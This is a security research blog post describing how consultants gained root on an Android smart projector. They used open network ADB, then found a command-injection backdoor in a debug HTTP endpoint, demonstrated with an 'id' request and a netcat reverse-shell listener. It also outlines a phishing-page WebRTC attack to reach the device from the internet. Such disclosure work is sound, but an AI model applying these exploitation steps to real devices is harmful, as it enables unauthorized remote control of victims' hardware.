Hackin' around the Christmas tree

By on 24 December, 2019

24 December, 2019

This year at F-Secure Consulting's offices, Christmas came early. Dave Hartley, our local Santa Claus, gifted us some new shiny smart devices to break.

The following blog post shows how we found and exploited a WAN Remote Code Execution vulnerability within the Abis HD6000+ SMART Android projector.

Information Gathering

When performing an assessment against an unknown device, an in-depth information gathering phase is great to get a better understanding of the target. Here, Google is our helpful elf. Following you will find a non-exhaustive list of documents and resources you may want to look at on the Internet:

  • Device’s User Manual
  • Device’s Amazon description page
  • Device’s component manufacturers website/ Github
  • Information about the OS running on the device

It was possible to retrieve some device specification thanks to Amazon's description of the product [1], the projector was an android-based device running version 6.0. After booting it and projecting onto the least flat wall we can find, we confirmed the aforementioned claims:

We immediately identified a couple of problems here:

  • The AOSP was Android 6.0, which is outdated and affected by several security issues.
  • The build running on the device was a userdebug build which, according to Android’s documentation [2] allows users to have root access on the device.

Once we achieved a satisfying knowledge about our target, we moved on to enumerating the attack surface.

Attack Surface Enumeration

My favourite way to analyse wifi-ready devices is connecting them to a controlled Wi-Fi hotspot (usually using an external Wi-Fi card). This is convenient for a number of reasons:

  • It makes it easier to run Wireshark, Burp and other network analysis tools
  • It makes it easier to simulate an Evil Access Point attack scenario

Once the projector was connected to our hotspot, we identified its IP address and ran a nmap scan against it:

stefano@kali:~$ nmap -sV -Pn -T4 –vv

5555/tcp open freeciv? syn-ack
7100/tcp open font-service? syn-ack
49152/tcp open upnp syn-ack Portable SDK for UPnP devices 1.6.13 (Linux 3.10.86; UPnP 1.0)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel:3.10.86

If you are a mobile security enthusiast like me, TCP port 5555 will immediately take your attention. In fact, on Android, 5555 TCP port open usually means Android Debug Bridge Daemon (ADBD) listening over the network. We verified it by connecting with ADB:

stefano@kali:~$ adb connect
connected to
stefano@kali:~$ adb shell
shell@bennet:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
shell@bennet:/ $ su
root@bennet:/ # id
uid=0(root)gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)

As you can see above, not only we were able to get shell access to the device using ADB over the network, we were also able to get root privileges due to the fact that the AOSP is built in userdebug mode.

If you are an android geek, you are probably wondering why we were not prompted with a message like this:

The reason behind it is because the AOSP compiled in userdebug has the system property ro.adb.secure set to 0, therefore authentication is not required. You can check it yourself reading the Android source code [3].

This attack could allow an attacker on the local network to access the device without credentials and run any command as root on the device.

Unauthenticated LAN Remote Code Execution

The 'attack' highlighted in the previous chapter is cool, but we were hunting for bugs that don’t require ADB access. Fortunately for us we had some other ports to check that could result in some other attack opportunity. Having ADB access on the device allowed us to use netstat in order to recognise which process was listening on a specific port. Unfortunately, Android’s netstat does not have some cool flag such as –p (which would show the PID listening on a specific port), therefore, we used busybox’s netstat which, luckily for us, was already available on the device.

root@bennet:/ # busybox netstat -ltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0* LISTEN 2679/com.hpplay.hap
tcp 0 0* LISTEN 2679/com.hpplay.hap
tcp 0 0* LISTEN 1196/adbd
tcp 0 0* LISTEN 2304/com.cloudtv:Ot
tcp 0 0* LISTEN 2304/com.cloudtv:Ot
tcp 0 0* LISTEN 2679/com.hpplay.hap
tcp 0 0 :::52288 :::*

The output above showed even more open ports identified during the previous nmap output, this is because nmap was instructed to run against only the top 1000 ports. In the following chapters, we will concentrate our analysis on the com.cloudtv package, which is listening on ports 9909 and 9915. However, the same methodology can be performed against all packages available on the device.

APK Analysis

In order to analyse the application's APK, we need to download it on our testing machine. For this purpose, we used android’s pm utility to retrieve information about the package and then the adb pull command to download it locally:

shell@bennet:/ $ pm list packages | grep -i cloudtv
shell@bennet:/ $ pm path com.cloudtv
shell@bennet:/ $
stefano@kali:$ adb pull /system/app/clouldTV/ott_ottap_20170304.apk .
/data/app/com.cloudtv-1.apk: 1 file pulled. 3.6 MB/s (17287706 bytes in 4.552s)

Once we had downloaded the APK, we analysed it using jadx, an awesome DEX disassembler and decompiler. jadx also has a cool GUI which is super handy.

jadx-gui com.cloudtv-1.apk

Because we wanted to know which portion of the code was handling traffic on port 9909, we used jadx's Search functionality, looking for where '9909' occurs within decompiled Java code.

We clicked on the first entry and inspected the following code:

package com.forcetech.android;

import com.cloudtv.sdk.utils.Logger;

public class ForceTV {

/* renamed from: a reason: collision with root package name */
private static boolean f248a = false;

public static native int start(int i, int i2);

public static native int stop();

public static void a() {
if (f248a) {
f248a = false;
Logger.i("P2P LIB", "stop Old P2P.........", true);

public static void a(int i) {
Logger.i("P2P LIB", "start Old P2P.........", true);
start(9909, i);
f248a = true;

Android allows users to mix Java and C++ code. This is done using the Java Native Interface (JNI) which allows to load native libraries at runtime. Once the library is loaded,in our case the p2p_old library, we can call native functions exported by the library from Java-land. We can do so by calling the methods declared as 'native'.

In order to understand how the application handled traffic on port 9909, we need to analyse the native library. Android native library can be found by unzipping the application’s APK and looking under the lib folder:

stefano@kali:/tmp$ ls -l cloudtv_unzipped/lib/armeabi-v7a/
total 824
-rw-r--r-- 1 stefano docker 787604 Dec 17 16:15 libp2p_old.so
-rw-r--r-- 1 stefano docker 50372 Dec 17 16:15 libvinit.so

At this point we said goodbye to Java-land and jumped into native-land. For this purpose, we used Ghidra.

Adventures in Native-land

Because we were analysing a native dynamic ELF library, we focused on unsafe usage of system()strcpy()memcpy() and other native functions. Usually we tend to start looking for system(), because passing data to this function, without properly sanitising it, may result in code injection, which is easy to spot and to exploit.

Identifying usage of system() within the code using Ghidra, was possible by double-clicking the system() function from the ‘Function’ folder, and then clicking to the ‘Function call tree’ in the Window menu.

From Ghidra's window above, we saw that the system() function was called within the function _deal_debug which in turn was called by the handle_get function. The last function sounded like a HTTP requests parser.

By taking a closer look at the handle_get function, we realised that the entire code block was an embedded HTTP web server. The following portion of code handled a request to the /crossdomain.xml path.

response_head(axStack260,(basic_string *)&local_b0,(basic_string *)&local_b4,-1);
_M_dispose((j_std_alloc_malloc *)(local_b4 + -0xc));
_M_dispose((j_std_alloc_malloc *)(local_b0 + -0xc));
iVar3 = compare((basic_string<char,std--char_traits,std--j_std_alloc_malloc> *)
if (iVar3 == 0) {
_deal_get_flash_crossdomain_xml((x_http_parser *)this,(x_url_parser *)param_1);

in order to understand what a valid request looked like, we got a hint by analysing some debug files written in the /sdcard folder:

130|shell@bennet:/sdcard $ ls

130|shell@bennet:/sdcard $ cat ctv_p2p_iptv.txt
13:11:28-177 ForceTV(lzs) Factory:device/P2P_android_ket_v3.0_2016mc_uplog_20160325_05:32:37
13:11:28-177 Develop Version:New version 2013,do not support old server, build[Mar 25 2016 05:32:37]
GET /ctv.xml?cmd=stop_all_chan HTTP/1.1
Accept: */*

13:13:32-264 x_tcp_handler::_check_ptl http head fd:25, data:
GET /ctv.xml?cmd=stop_all_chan HTTP/1.1
Accept: */*

As you can see in the screenshot above, a valid request was in the form of /ctv.xml?cmd=stop_all_chan. We could easily spot the parameter value within the following code block:

if (bVar1 == false) {
bVar1 = operator==<char,std--char_traits,std--j_std_alloc_malloc>
((basic_string *)&local_8c,"stop_chan");
if (bVar1 == false) {
bVar1 = operator==<char,std--char_traits,std--j_std_alloc_malloc>
((basic_string *)&local_8c,"stop_ad");
if (bVar1 == false) {
bVar1 =
((basic_string *)&local_8c,"stop_all_chan");
if (bVar1 == false) {
bVar1 =
((basic_string *)&local_8c,"debug");

The local_8c variable, contained a pointer to the value of the parameter cmd. Therefore, in order to jump to the function where the system() function was called, the cmd value has to be set as 'debug':

We then continued the analysis of the _deal_debug function:

local_2c = __stack_chk_guard;
basic_string((basic_string<char,std--char_traits,std--j_std_alloc_malloc> *)&local_164
arg((basic_string *)local_160,(int)param_2);
_M_dispose((j_std_alloc_malloc *)(local_164 + -0xc));
iVar1 = compare((basic_string<char,std--char_traits,std--j_std_alloc_malloc> *)
pcVar2 = local_160[0];
if (iVar1 == 0) {
basic_string((basic_string<char,std--char_traits,std--j_std_alloc_malloc> *)
arg((basic_string *)&local_168,(int)param_2);
_M_dispose((j_std_alloc_malloc *)(local_16c + -0xc));
basic_string((basic_string<char,std--char_traits,std--j_std_alloc_malloc> *)
local_180 = _rep_file(this,param_1,(basic_string *)&local_170);
_M_dispose((j_std_alloc_malloc *)(local_170 + -0xc));
_M_dispose((j_std_alloc_malloc *)(local_168 + -0xc));
else {
local_180 = forcetv_get_default_log_path();
snprintf(aJStack300,(char *)0x100,(uint)"%s > %s/debug.txt",pcVar2,local_180);
iVar1 = system((char *)aJStack300);

The _deal_debug function checked for the bs parameter value, if it existed a string was created using the basic_string function, and formatted using the snprintf function on the ‘%s > %s/debug.txt’ format string. Then the formatted string was passed to system(). Bingo! This meant that we were able to execute the ‘id’ command on the server using the following request:

Server’s response confirmed our hypothesis as shown below:

HTTP/1.1 200 OK
Content-Length: 112
Content-Type: application/octet-stream
Server: forcetech czy

uid=10039(u0_a39) gid=10039(u0_a39) groups=10039(u0_a39),3002(net_bt),3003(inet),9997(everybody),50039(all_a39)

It should be noted that this function is a debug capability (or backdoor) left in the code by developers. Finally, we obtained a reverse shell using nc defined within busybox which was already on the device:

stefano@kali:/tmp$ curl ""

The command above was executed after running nc in listening mode on the 4444 port, within a different shell.

stefano@kali:/tmp$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 36281
uid=10039(u0_a39) gid=10039(u0_a39) groups=10039(u0_a39),3002(net_bt),3003(inet),9997(everybody),50039(all_a39)

This attack allows an attacker on the local network, to have shell access on the device just by sending a malicious payload to the vulnerable HTTP endpoint. 

Turning LAN RCE to WAN RCE

Can we exploit our LAN RCE from the internet? To answer this question, we thought about our LAN RCE attack and we highlighted the following characteristics:

  • It’s triggered via a HTTP GET request.
  • The endpoint is not authenticated.
  • CSRF protections are not in place.

Potentially we could create a phishing page, force the user to visit it and trigger an XMLHttpRequest to the vulnerable endpoint on the background. Unfortunately, we didn’t know the projector's internal IP. However, thanks to WebRTC, we could retrieve the user’s internal IP address by tricking the victim to visit a page that we control. Once we have the victim's internal IP address, we can send our malicious payload to all the devices on the private network, by bruteforcing IPs directly from victim’s browser. The full PoC is only available for people not on Santa's naughty list.

The following video, is a full proof of concept of the attack:

As you can see in the video above, this could allow an attacker to compromise the Abis HD6000+ SMART Android projector, by tricking the user to click to a malicious page controlled by the attacker.

Merry Xmas from WithSecure!

Special Thanks

  • Mark Barnes
  • Toby Drew
  • Mateusz Fruba